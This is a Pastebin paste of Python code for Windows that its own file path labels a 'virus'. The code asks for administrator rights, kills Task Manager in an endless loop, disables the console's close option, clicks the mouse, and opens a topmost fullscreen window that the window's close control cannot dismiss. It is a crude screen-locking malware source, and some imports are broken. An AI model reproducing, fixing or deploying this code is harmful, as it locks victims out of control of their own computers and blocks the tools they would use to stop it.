Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- from tkinter import *
- from os import *
- from multiprocessing import Process
- from pyautogui import *
- import ctypes
- import win32console, win32gui, win32con
- def is_admin():
- try:
- return ctypes.windll.shell32.IsUserAnAdmin()
- except:
- return False
- def taskkilling():
- if is_admin():
- while True:
- os.system("taskkill /IM taskmgr.exe")
- hwnd = win32console.GetConsoleWindow()
- if hwnd:
- hMenu = win32gui.GetSystemMenu(hwnd, 0)
- if hMenu:
- win32gui.DeleteMenu(hMenu, win32con.SC_CLOSE, win32con.MF_BYCOMMAND)
- else:
- ctypes.windll.shell32.ShellExecuteW(None, "runas", sys.executable, __file__, None, 1)
- print("taskkilling ok")
- def centerclicking():
- click()
- print("click ok")
- def window():
- os.system("python C:\\Users\\Пользователь\\Desktop\\virus\\window.py")
- print("window ok")
- if __name__=="__main__":
- taskkillingProcess=Process(target=taskkilling)
- centerclickingProcess=Process(target=centerclicking)
- windowProcess=Process(target=window)
- taskkillingProcess.start()
- centerclickingProcess.start()
- windowProcess.start()
- print(123)
- from tkinter import *
- def close():
- root.destroy()
- root = Tk()
- print(12345)
- root.wm_attributes("-topmost", True)
- root.attributes('-fullscreen', True)
- root.protocol("WM_DELETE_WINDOW", ...)
- close=Button(root,text="close",command=close)
- close.pack()
- root.mainloop()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement